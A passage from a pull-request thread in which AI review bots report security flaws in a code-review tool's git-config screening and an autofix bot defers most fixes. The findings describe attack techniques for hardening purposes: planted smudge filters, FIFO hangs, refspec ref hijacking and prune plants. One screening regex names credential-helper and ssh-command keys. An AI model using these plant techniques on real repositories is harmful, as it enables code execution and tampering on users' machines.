R15-2（本轮新发现）。本 PR 新增的两次读取交换检测器不对称：只在值读取 exit 1（枚举出的 remote.<name>.fetch 键消失）时拒绝。两次读取之间换入的配置只要仍带该键——任何合法值，如克隆默认 refspec——就以 exit 0 按换入字节判定，而 filter/transport/include 列表仍反映交换前的旧内容，于是屏蔽为植入背书；此分支上方的注释声称"换入字节不被判定：像一切模糊状态一样失败关闭"——实际只拒绝了键消失的交换。失败：并发写者持有配置 A = 克隆默认 fetch；枚举 spawn 读到 A 后、--null 值读取打开文件前，换入配置 B = A + [filter "evil"] smudge + attributes。值读取 exit 0，B 的 filter 键从未被枚举，所有列表为空 → null → 被背书的 checkout 执行植入的 smudge。见证（本轮探针，确定性 PATH shim 驱动真实 localFilterRefusal + 被背书 checkout）：PR 代码——refusal=null、植入已就位、checkout exit=0、标记存在；指纹修复翻转——refusal='changed between the screen reads'。既有竞态测试看不到此形态（其 plantSrc 不含 remote.origin.fetch）。修复：在 lstat 门处为每个候选文件记录指纹（mtimeMs+size 或内容哈希），值读取前后复核，不一致即拒绝；或对门控文件快照一次、两次判定都用快照。请在 plantSrc 保留 fetch 键以强化交换测试——当前为红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: fingerprint each gated candidate at the lstat gate (mtimeMs+size or content hash) and re-verify around the value read — or snapshot the gated file once and judge both passes against it — refusing on mismatch; strengthen the swapper test to keep the fetch key in plantSrc.
中文说明
顺延到下一轮（预算警告轮）。修复不变：在 lstat 门处为每个候选记录指纹（mtimeMs+size 或内容哈希）并在值读取前后复核——或对门控文件快照一次、两次判定都用快照——不一致即拒绝；强化交换测试使 plantSrc 保留 fetch 键。
| for (const dir of new Set([common, resolve(worktree, gitDir)])) { | ||
| for (const name of ['attributes', 'exclude']) { |
There was a problem hiding this comment.
[Critical] R15-3 (new this round). The screen's data-file gate covers only info/attributes and info/exclude, but every guarded spawn shape also unconditionally opens <common>/objects/info/alternates, objects/info/commit-graph, objects/info/commit-graphs/commit-graph-chain, info/grafts, and packed-refs — a FIFO at any of them hangs the authorised spawn while the screen certifies, and two guarded spawns this screen authorises are unbounded (scratch-tree's gitOut, base-tree's local git() helper — R11-2/R11-3), so there the hang is indefinite. Failure: one mkfifo+rename into the never-wiped common dir (e.g. objects/info/alternates); localFilterRefusal returns null — none is a config candidate and the gate loop never looks past info/attributes|exclude — and the certified fetch/checkout/worktree add blocks in open(), persisting across every later review. Witness (probe this round, git 2.43.0): symlink at objects/info/alternates → refusal = null (certified); FIFO at each of the five paths → git status / checkout --force / worktree add all exit 124 under a 3s bound, control exit 0. Fix: extend the gate to the five common-dir files, pushing failures into unreadable like the existing entries. A worktree.test.ts plant (non-regular file) at <common>/objects/info/alternates must assert a non-null refusal; removing any newly gated path turns it red.
中文说明
R15-3（本轮新发现）。屏蔽的数据文件门只覆盖 info/attributes 与 info/exclude，但每种被守护 spawn 形态还会无条件打开 <common>/objects/info/alternates、objects/info/commit-graph、objects/info/commit-graphs/commit-graph-chain、info/grafts、packed-refs——其中任何一个放 FIFO，被背书的 spawn 就会挂起，而两个被此屏蔽背书的 spawn 是无界的（scratch-tree 的 gitOut、base-tree 的本地 git()——R11-2/R11-3），在那里挂起无限期。失败：向永不清除的公共目录做一次 mkfifo+rename（如 objects/info/alternates）；localFilterRefusal 返回 null——它们都不是配置候选，门循环也看不到 info/attributes|exclude 之外——被背书的 fetch/checkout/worktree add 阻塞在 open()，且对该仓库此后每轮审查持续存在。见证（本轮探针，git 2.43.0）：objects/info/alternates 放符号链接 → refusal = null（被背书）；五个路径各放 FIFO → git status/checkout --force/worktree add 在 3s 界下全部 exit 124，对照 exit 0。修复：把门扩展到上述五个公共目录文件，失败像既有条目一样推入 unreadable。请在 <common>/objects/info/alternates 植入非常规文件并断言非空拒绝；移除任一新门控路径应变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: extend the regular-file gate beyond info/attributes/info/exclude to objects/info/alternates, objects/info/commit-graph, objects/info/commit-graphs/commit-graph-chain, info/grafts, and packed-refs, pushing failures into unreadable.
中文说明
顺延到下一轮（预算警告轮）。修复不变：把正规文件门从 info/attributes/info/exclude 扩展到 objects/info/alternates、objects/info/commit-graph、objects/info/commit-graphs/commit-graph-chain、info/grafts 与 packed-refs，失败推入 unreadable。
| // `worktree add` both execute configured content filters. | ||
| const filters = localFilterCommands(worktree); | ||
| if (filters.length > 0) { | ||
| const filterRefusal = localFilterRefusal( |
There was a problem hiding this comment.
[Critical] R15-4 (new this round; race measured winnable). runScratchTree screens once here, then authorises BOTH the reuse path's checkout --force (after the multi-spawn reset gate and residue measurement) and the rebuild path's worktree add with no re-screen beside either — the sibling of the base-tree race this same PR re-screens because it was measured 6/6 pwnable; scratch-tree's checkouts overlap live probes the same way (shards run concurrently by this command's own design), and INERT_GIT_ARGS does not neutralise filters (this file's own docstring says so). Failure: the screen passes; in the window before the checkout (several seconds of residue spawns plus the reset gate) a concurrent writer lands the two documented writes (filter.evil.smudge in the common config + an info/attributes line); the authorised checkout/worktree add EXECUTEs the planted smudge on a certified-clean run, and the planted filter persists into every later matching checkout. Witness (probe this round, tight-loop swapper vs real runScratchTree rebuild path): PWNED at iteration 3, available=true, reused=false — RACE-CONFIRMED; replicated at iteration 4. Fix: re-run localFilterRefusal immediately before the mutation on both paths, exactly as base-tree.ts's rescreenRefusal does. A scratch-tree.test.ts spy asserting localFilterRefusal is invoked twice per successful run() goes red when the re-screen is deleted.
中文说明
R15-4（本轮新发现；竞态实测可胜）。runScratchTree 在此只屏蔽一次，随后同时授权复用路径的 checkout --force（在多 spawn 重置门与残留测量之后）和重建路径的 worktree add——两者旁都没有复屏蔽——而同一 PR 给 base-tree 的同形竞态加了复屏蔽，正因为其实测 6/6 可被攻破；scratch-tree 的 checkout 与活探针同样重叠（本命令自身设计上分片并发），且 INERT_GIT_ARGS 不能中和过滤器（本文件 docstring 自述）。失败：屏蔽通过；在 checkout 前的窗口（残留测量数秒加重置门）内，并发写者落下两处文档化写入（公共配置的 filter.evil.smudge + info/attributes 一行）；被背书的 checkout/worktree add 在"认证干净"的运行中执行植入的 smudge，且植入过滤器持续作用于之后每次匹配的 checkout。见证（本轮探针，紧循环交换器 vs 真实 runScratchTree 重建路径）：第 3 次迭代 PWNED、available=true、reused=false——RACE-CONFIRMED；第 4 次迭代复现。修复：两条路径都在变更动作前立即重跑 localFilterRefusal，与 base-tree.ts 的 rescreenRefusal 一致。请补断言每次成功 run() 调用两次屏蔽的 spy 测试；删除复屏蔽应变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: re-run localFilterRefusal immediately before BOTH scratch-tree mutations (the reuse path’s checkout --force and the rebuild path’s worktree add), exactly as base-tree’s rescreenRefusal does, with a two-invocations-per-run spy witness.
中文说明
顺延到下一轮（预算警告轮）。修复不变：在 scratch-tree 的两处变更动作（复用路径的 checkout --force 与重建路径的 worktree add）之前都立即重跑 localFilterRefusal，与 base-tree 的 rescreenRefusal 一致，附每次运行调用两次屏幕的 spy 见证。
|
🔀 Base updated: red check(s) [Test (ubuntu-latest, Node 22.x)] pass on current main — merged current main via update-branch; CI will re-run. 中文说明🔀 已更新 base：红色检查 [Test (ubuntu-latest, Node 22.x)] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main，CI 将重新运行。 |
|
Qwen Code review timed out. Qwen review timed out after 21600 seconds (of the 360-minute budget). This run already used the maximum 360 minute timeout. See workflow logs. |
…e the head cross-check, cap the screen's unreadable list (#9741)
|
🤖 Addressed the latest review feedback (round 10/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 10/100 轮）。改动内容与我反驳保留之处如下： Review feedback round summary — PR #9741Mode: Critical-only (the deterministic brake engaged) and budget warning — the previous round exhausted its time before finishing anything, so this round deliberately landed the smallest blocking subset of the standing Critical backlog and deferred the remainder with recorded replies, rather than retrying the whole batch. Commit: Addressed this round (6 findings, 14 inline comments resolved)
Each fix carries a witness that fails on the pre-round code (see Verification). R13-1's round-14 posting additionally recorded a second half — spawn amplification from many readable planted Not addressed this round — deferred with recorded replies (45 inline comments)R8-3 (base-side OID cross-check + Escalated for a maintainer decision (2 inline comments, thread left open)R14-1 — the screen fail-closed-refuses legitimate git-authored repo state (sparse-checkout, partial clone, single-branch clone, Conflict handling
VerificationAll commands actually run this round, in order:
R13-4's witness is platform-conditional by nature: the Windows signal-semantics failure it pins cannot execute on this Linux runner (the finding's own witness is a code trace plus the repo's documented Windows 中文说明评审反馈轮次总结 — PR #9741模式：仅 Critical（确定性刹车已触发）且带预算警告——上一轮在完成任何内容前就耗尽了时间，因此本轮刻意只落地未决 Critical 积压中的最小阻断子集，其余以记录在案的回复顺延，而不是重试整个批次。 提交： 本轮已处理（6 项发现，解决 14 条行内评论）
每个修复都有在轮前代码上失败的见证（见"验证"一节）。R13-1 的第 14 轮发帖还记录了第二半——大量可读植入 本轮未处理——以记录在案的回复顺延（45 条行内评论）R8-3（base 侧 OID 交叉校验 + 升级给维护者决定（2 条行内评论，线程保持开放）R14-1——屏幕对 git 自有的合法仓库状态（sparse-checkout、部分克隆、单分支克隆、 冲突处理
验证本轮实际运行的全部命令（按顺序）：
R13-4 的见证天然受平台条件约束：它钉注的 Windows 信号语义失败无法在本 Linux 运行器上执行（该发现自身的见证是代码追踪加仓库文档记录的 Windows Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (
中文说明已进入仅处理 Critical 的模式：已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈；这些条目保持开放，留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后；达到预算的作者（如有）在下方点名。（评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
|
📊 Takeover milestone — round 10/100, in the current window. Census: 4 pushed fix(es), 1 no-change review(s), 2 timeout(s), 1 rejected attempt(s), 0 deliberate stop(s) under instruction (deferred to a human), 3 other round(s) (crash / model error / gate error / infra), 2 base update(s). This many rounds deserves a human look. Options: keep going (fine — nothing changes), split or reduce the PR if rounds keep accumulating, or release takeover (remove the 中文说明📊 接管里程碑 —— 第 10/100 轮（当前窗口）。统计：推送修复 4 次、审阅无需改动 1 次、超时 2 次、验证拒绝 1 次、按指示有意停止（移交人工）0 次、其他轮次（崩溃/模型错误/门错误/infra）3 次、base 更新 2 次。 轮次到这个量值得人工看一眼。可选：继续（无需操作）；若轮次持续累积，考虑拆分或缩减 PR；或释放接管（移除 |
|
Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with |
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下： Autofix round report — no action (PR #9741)There was no actionable feedback for this round.
No commits were made; the branch head is unchanged at 中文说明Autofix 轮次报告 — 无操作（PR #9741）本轮没有可处理的反馈。
未创建任何提交；分支头保持在 Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (
中文说明已进入仅处理 Critical 的模式：已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈；这些条目保持开放，留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后；达到预算的作者（如有）在下方点名。（评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): chunk 8: execute scratch-tree.test.ts and run.test.ts (no node_modules in review worktree; npm ci + workspace build exceeds tool budget); chunk 2: executing the new tests in fetch-pr.test.ts (worktree has no node_modules and no built workspace dist; npm ci + full npm run build exceeds the remaining t….
Not reviewed: reverse audit — stopped before round 5 by the review time budget.
Test Plan (not a blocker): 504 passed — this review observed 25222 passed.
Deferred under the convergence posture (round 16, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/test-efficacy.ts:2139 — [review] truncated report suppresses the ETIMEDOUT throwpackages/cli/src/commands/review/test-efficacy.ts:2402 (+2 locations) — [review] strict identity-gate wiring unwitnessed at every call sitepackages/cli/src/commands/review/lib/worktree.ts:873 — [review] worktrees enumeration has no cap (spawn-count side)packages/cli/src/commands/review/base-tree.ts:269 — [review] opening pre-sweep screen is an unwitnessed guardpackages/cli/src/commands/review/lib/worktree.test.ts:2540 — [review] grammar guards unwitnessed; wildcard-src wedge certifiespackages/cli/src/commands/review/test-efficacy.test.ts:2710 — [review] leaf-symlink and redirectedAncestor gate branches…packages/cli/src/commands/review/test-efficacy.integration.test.ts:1852 — [review] rewritten test's comment mislabels the run and the failure…
Convergence: round 16 posted 21 inline comment(s), 2 of them reported for the first time; the previous round posted 23 (4 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 8, 13, 14, 15; 1 more now); packages/cli/src/commands/review/fetch-pr.ts (findings in rounds 10, 12, 14; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
[Critical] R12-5: Still stands from round 12 — CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, lib/worktree.ts:684-735). The surface keeps producing new corners each round because it hand-judges an unbounded input space. Round-15 corners still stand: (1) the HEAD source exception is case-folded (worktree.ts:733), so planted remote..fetch = head/HeAd certifies while git resolves only exact-case HEAD — every later bare fetch-by-remote-name dies 'fatal: couldn't find remote ref' (permanent wedge from one config write); (2) the literal-non-HEAD source rule permanently refuses every single-branch clone's stock refspec +refs/heads/:refs/remotes/origin/ (mainstream legitimate config refused fail-closed). This round's independent audit adds a third corner, probe-verified live: (3) the dst allowlist certifies ANY wildcard destination under refs/remotes// — wildcard substitution puts attacker-controlled branch names into the expanded path: planting remote.origin.fetch = +refs/heads/:refs/remotes/origin/ma (attacker fork carries branch 'in') certifies, and a later bare fetch force-updates the user's refs/remotes/origin/main to attacker content (measured: 'in -> origin/main (forced update)', RESULT: HIJACKED); +refs/heads/:refs/remotes/upstream/ also certifies, forging another remote's tracking namespace (measured: 'main -> upstream/main'). The class cannot be closed entrance by entrance: judge configured refspecs with git's own parser (bounded ls-remote/dry-run probes with INERT args, fail-closed on probe failure) instead of hand-enumerating shapes.
[Critical] R12-10: Still stands from round 12. The creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth (one bootstrap chain via rev-parse of the passed tree, no independent anchor). An escaped process — the class R11-8's probe pinned as live — re-points the review worktree's .git gitfile and every later screen read and identity comparison resolves through the rogue discovery and agrees with itself. Anchor the chain to the fetched commit's object identity or to the pipeline's own clone admin dir recorded at fetch time, outside the worktree's discovery.
[Critical] R14-4: Still stands from round 14. The revert-phase screens this diff adds (identity gate + filter re-screen at test-efficacy.ts:3347) certify discovery and config, but the phase's very next step — existsAtBase -> existsAtRev's git cat-file -e spawnSync (test-efficacy.ts:1421-1427) — carries no timeout/killSignal (re-verified at this commit: only cwd + env): an unbounded spawn in the very phase this diff hardens, hanging on a FIFO at the objects it reads with no refusal — the same class the sibling spawns are bounded against.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）：chunk 8：execute scratch-tree.test.ts and run.test.ts (no node_modules in review worktree; npm ci + workspace build exceeds tool budget)；chunk 2：executing the new tests in fetch-pr.test.ts (worktree has no node_modules and no built workspace dist; npm ci + full npm run build exceeds the remaining t…。
未审查：反向审计——评审时间预算不足，未能开始第 5 轮。
Test Plan（非阻断）：504 passed — this review observed 25222 passed。
收敛姿态下延后（第 16 轮，非阻断）——已记录，本轮不要求修改：共 7 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 16 轮发布了 21 条行内评论，其中 2 条是首次提出；上一轮发布了 23 条（其中 4 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 8、13、14、15 轮已出过发现，本轮又有 1 条）；packages/cli/src/commands/review/fetch-pr.ts（第 10、12、14 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
[Critical] R12-5: Still stands from round 12 — CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, lib/worktree.ts:684-735). The surface keeps producing new corners each round because it hand-judges an unbounded input space. Round-15 corners still stand: (1) the HEAD source exception is case-folded (worktree.ts:733), so planted remote..fetch = head/HeAd certifies while git resolves only exact-case HEAD — every later bare fetch-by-remote-name dies 'fatal: couldn't find remote ref' (permanent wedge from one config write); (2) the literal-non-HEAD source rule permanently refuses every single-branch clone's stock refspec +refs/heads/:refs/remotes/origin/ (mainstream legitimate config refused fail-closed). This round's independent audit adds a third corner, probe-verified live: (3) the dst allowlist certifies ANY wildcard destination under refs/remotes// — wildcard substitution puts attacker-controlled branch names into the expanded path: planting remote.origin.fetch = +refs/heads/:refs/remotes/origin/ma (attacker fork carries branch 'in') certifies, and a later bare fetch force-updates the user's refs/remotes/origin/main to attacker content (measured: 'in -> origin/main (forced update)', RESULT: HIJACKED); +refs/heads/:refs/remotes/upstream/ also certifies, forging another remote's tracking namespace (measured: 'main -> upstream/main'). The class cannot be closed entrance by entrance: judge configured refspecs with git's own parser (bounded ls-remote/dry-run probes with INERT args, fail-closed on probe failure) instead of hand-enumerating shapes.
[Critical] R12-10: Still stands from round 12. The creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth (one bootstrap chain via rev-parse of the passed tree, no independent anchor). An escaped process — the class R11-8's probe pinned as live — re-points the review worktree's .git gitfile and every later screen read and identity comparison resolves through the rogue discovery and agrees with itself. Anchor the chain to the fetched commit's object identity or to the pipeline's own clone admin dir recorded at fetch time, outside the worktree's discovery.
[Critical] R14-4: Still stands from round 14. The revert-phase screens this diff adds (identity gate + filter re-screen at test-efficacy.ts:3347) certify discovery and config, but the phase's very next step — existsAtBase -> existsAtRev's git cat-file -e spawnSync (test-efficacy.ts:1421-1427) — carries no timeout/killSignal (re-verified at this commit: only cwd + env): an unbounded spawn in the very phase this diff hardens, hanging on a FIFO at the objects it reads with no refusal — the same class the sibling spawns are bounded against.
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if ( | ||
| meta.headRefOid && | ||
| SHA_RE.test(meta.headRefOid.toLowerCase()) && | ||
| meta.headRefOid.toLowerCase() !== fetchedSha.toLowerCase() | ||
| ) { |
There was a problem hiding this comment.
[Critical] R10-3: (fix-induced) (fix-induced) The round-15 fix for R10-3 added a shape gate so a non-OID advertised head falls into the disclosed 'defense is off' warning branch — but the gate reuses SHA_RE (/^[0-9a-f]{7,64}$/ from lib/ledger.ts, wide for abbreviated ledger SHAs), which admits hex-looking BRANCH NAMES of 7-64 chars. Aone fills headRefOid from sourceBranch on non-AGit-Flow MRs, so a branch named '20260828', '1234567' or 'deadbeef' passes the gate, skips the warning, fails the comparison against the 40-hex fetchedSha, and the MR is permanently refused as 'the fetched content is not the PR under review' — the exact false-refusal class R10-3 named, re-opened for a narrower corner.
Failure scenario: An Aone MR whose source branch is any 7-64 char hex/digit name: SHA_RE.test passes, the comparison against the full fetched SHA is guaranteed to differ, fetch-pr rolls back the ref, releases the lease, writes no report, and throws the redirected-fetch refusal — on every retry, with a message that misattributes a security incident. The existing test pins only a non-hex name ('feature/login'), so the corner sails through.
Witness: probe (scratch tree, mocked producer harness): unmodified arm — headRefOid '20260828' rejects with /the fetched content is not the PR under review/ and emits no defense-off warning (probe asserting both PASSES); fixed arm (gate restricted to full 40/64-hex) — the same probe FLIPS: 'promise resolved ... instead of rejecting', and the accepted+warned expectations pass.
Suggested fix: Gate the comparison on full object-ID length: compare only when /^(?:[0-9a-f]{40}|[0-9a-f]{64})$/.test(meta.headRefOid.toLowerCase()), routing shorter hex-looking values into the disclosed warning branch. Note: the refusal/case-folding fixtures use 12-char SHAs (f00df00df00d) and must be repinned to full 40-hex with this change.
Fix witness: please land this with the pinning test — fetch-pr.test.ts: a sibling of the non-OID warning test advertising headRefOid '20260828' must proceed with the defense-off warning instead of throwing; reverting the length gate turns it red.
中文说明
R10-3：（修复引入）第 15 轮为 R10-3 增加的形状门复用了 SHA_RE（7-64 位十六进制），导致 7-64 位的十六进制形态分支名（如 '20260828'）通过形状门、比较必然失败，Aone 的此类 MR 被永久误拒为『取回内容不是本 PR』。建议把比较限制在完整 40/64 位对象 ID，其余走已披露的 defense-off 警告分支。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| * not reliably neutralize, so repo-local hits refuse fail-closed there | ||
| * (see `localFilterRefusal`). | ||
| */ | ||
| export const INERT_GIT_ARGS = [ |
There was a problem hiding this comment.
[Critical] R16-1: The screen's key regex and INERT_GIT_ARGS both miss the prune family (fetch.prune, fetch.pruneTags, remote..prune): one common-dir config write certifies clean, and the user's own next bare git fetch/pull then silently deletes their stale remote-tracking refs (and tags via pruneTags) — the destroy-local-refs harm class the adjacent refspec refusal exists to refuse.
Failure scenario: A malicious PR's probe runs git config fetch.prune true (the documented one-write plant class into the never-wiped common dir). localFilterRefusal returns null — neither key matches the regex, and INERT_GIT_ARGS (hooksPath/fsmonitor/submodule.recurse) does not override them. The plant persists, and every later bare git fetch / git pull in the user's repository prunes tracking refs without consent.
Witness: live git 2.43.0: ARM2 (bare git fetch origin with fetch.prune=true planted, upstream branch deleted) — 'FETCH: - [deleted] (none) -> origin/stalebranch ... ARM2: stalebranch PRUNED'; screen probe: null (certifies) for fetch.prune, remote.origin.prune and fetch.pruneTags. Correction to the finder's trigger: the pipeline's own explicit-refspec fetches do NOT prune on git 2.43 (prune scopes to the command-line refspec dst); the surviving harm is the persistence arm fired by the user's own bare fetches.
Suggested fix: Add fetch.prune|fetch.prunetags|remote..+.prune to the screening regex (a blanket -c cannot cover remote..prune), or pair -c fetch.prune=false / -c fetch.prunetags=false in INERT_GIT_ARGS with a per-remote -c remote..prune=false at each fetch spawn where the remote name is known.
Fix witness: please land this with the pinning test — worktree.test.ts localFilterRefusal describe: plant fetch.prune=true (and separately remote.origin.prune=true) and assert a non-null refusal; removing the regex addition turns it red.
中文说明
R16-1（本轮新）：屏蔽正则与 INERT_GIT_ARGS 同时遗漏 prune 家族（fetch.prune、fetch.pruneTags、remote..prune）：一次 common-dir 配置写入即可认证通过，用户自己随后的裸 git fetch/pull 会静默删除其远程跟踪分支（pruneTags 连标签一起）。实测 git 2.43：植入 fetch.prune 后裸 fetch 删除 origin/stalebranch；屏蔽探针对三个键均返回 null。更正触发路径：管线自身的显式 refspec fetch 在 git 2.43 上不触发 prune（prune 以命令行 refspec 的 dst 为界）；存活的是持久化臂——由用户自己的裸 fetch 触发。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| * runs, and the queued handler fires on the next event-loop turn — killing | ||
| * the runner's group if it is still alive and exiting run.ts's 128 + signum | ||
| * contract. Every step between spawns here is synchronous, so that turn | ||
| * comes when the synchronous stack unwinds: the interrupt is delayed until |
There was a problem hiding this comment.
[Critical] R10-4: Still stands at round 16 (from round 10; witness upgraded this round). runTestEfficacy is one unbroken synchronous slab — the only await in the file is the dispatcher — so a queued teardown handler cannot fire until the entire command returns; the 'next event-loop turn' the hook's comment promises never arrives between spawns. A cancel arriving mid-phase leaves the budget loop spawning detached runners that execute the PR's own test code until the budget is exhausted.
Failure scenario: Ctrl-C (or SIGTERM) arrives while any probe run is blocked in spawnSync: the listeners suppress the default action, the current spawn returns, its group is killed, and fitsAnotherMutantRun (clock only, never the signal) immediately starts the next detached run. Measured this round on Node 22: a SIGTERM delivered mid-first of two consecutive blocking spawnSync calls fired only after BOTH returned (+3046ms). Scope (verifier): the wrapper-launched path is bounded by the parent's 200ms SIGKILL escalation; the unmitigated locus is direct invocation (qwen review test-efficacy), where nothing escalates and the hook swallows SIGINT/SIGTERM/SIGHUP/SIGQUIT alike.
Witness: probe this round (real installRunnerTeardownHook, two blocking spawnSyncs, external SIGTERM at ~400ms): 'BUGGY arm: handler fired before any yield: false; handler fired at nullms' vs 'FIXED arm (awaited setImmediate between runs): handler fired at 1220ms (at the yield, before spawn2); exit calls: [143,143]'.
Suggested fix: Yield to the event loop between probe runs (an awaited setImmediate macrotask in the control/mutant/hunk loops and before the revert probe) so queued teardown handlers fire before the next detached spawn.
Fix witness: please land this with the pinning test — integration test: send SIGTERM to the probe process during the first runProbeSuite and assert no second vitest spawn occurs and the process exits 143; removing the inter-run yield turns it red.
中文说明
R10-4：第 16 轮仍然存在（第 10 轮提出；本轮见证升级）。runTestEfficacy 是零 await 的同步整块——排队的拆除处理器在整个阶段结束前无法触发；取消到达后预算循环继续派生执行 PR 代码的 detached 运行器直到预算耗尽。本轮探针：信号在两次阻塞 spawn 全部返回后才触发（+3046ms）；加入 await setImmediate 的翻转臂在间隙即触发并以 143 退出。直接调用（qwen review test-efficacy）是无缓解点——包装路径有父级 200ms SIGKILL 升级兜底。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // pipeline spawns that trigger it — the resume’s `git status`, | ||
| // the residue’s `ls-files`/`check-ignore` — run ahead of or | ||
| // beside the screen. | ||
| '^(filter\\..*\\.(smudge|clean|process)|include\\.path|includeif\\..+\\.path|extensions\\.partialclone|remote\\..+\\.promisor|core\\.sshcommand|core\\.gitproxy|core\\.askpass|credential(\\..+)?\\.helper|remote\\..+\\.uploadpack|protocol\\.(ext\\.)?allow|remote\\..+\\.fetch|core\\.alternaterefscommand|url\\..+\\.insteadof|url\\..+\\.pushinsteadof|core\\.sparsecheckout|core\\.attributesfile|core\\.excludesfile|core\\.fsmonitor|http\\.proxy|https\\.proxy|http\\..+\\.proxy|remote\\..+\\.proxy)$', |
There was a problem hiding this comment.
[Critical] R8-3: Still stands at round 16 (from round 8). The insteadOf channel and the head-SHA cross-check landed, but remote..url is still not screened — no regex alternative here and nothing else judges it — and the base fetch has no platform-OID cross-check (baseRefOid exists nowhere in production code). A planted URL redirects fetches to an attacker mirror while the screen certifies.
Failure scenario: A malicious PR's probe writes remote.origin.url = into the never-wiped common dir; the next review's head fetch hits the mirror. The head SHA cross-check catches a mirror serving the wrong head, but a mirror serving the real head passes it, and the base fetch has no cross-check at all.
Witness: witness: not run — claim is a code trace re-verified at this commit: the regex at worktree.ts:995 carries no remote..+.url alternative, and FetchMeta (lib/platform/types.ts) has no baseRefOid anywhere in production code.
Suggested fix: Screen remote..url / add a base-OID cross-check (see also this round's Needs Human Review entry on the empty-base defense).
中文说明
R8-3：第 16 轮仍然存在（第 8 轮提出）。remote..url 仍未被屏蔽（正则无此分支、无其他判定），基础分支 fetch 没有平台 OID 交叉校验（生产代码中不存在 baseRefOid）。植入 URL 即可把 fetch 重定向到攻击者镜像而屏蔽仍认证通过。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // Node honours `detached` here — it reaches the same `spawn()` the async | ||
| // API uses — but @types/node declares it only on the async `SpawnOptions`, | ||
| // so the option is named in an intersection instead of at the call site. | ||
| const runnerOptions: SpawnSyncOptionsWithStringEncoding & { |
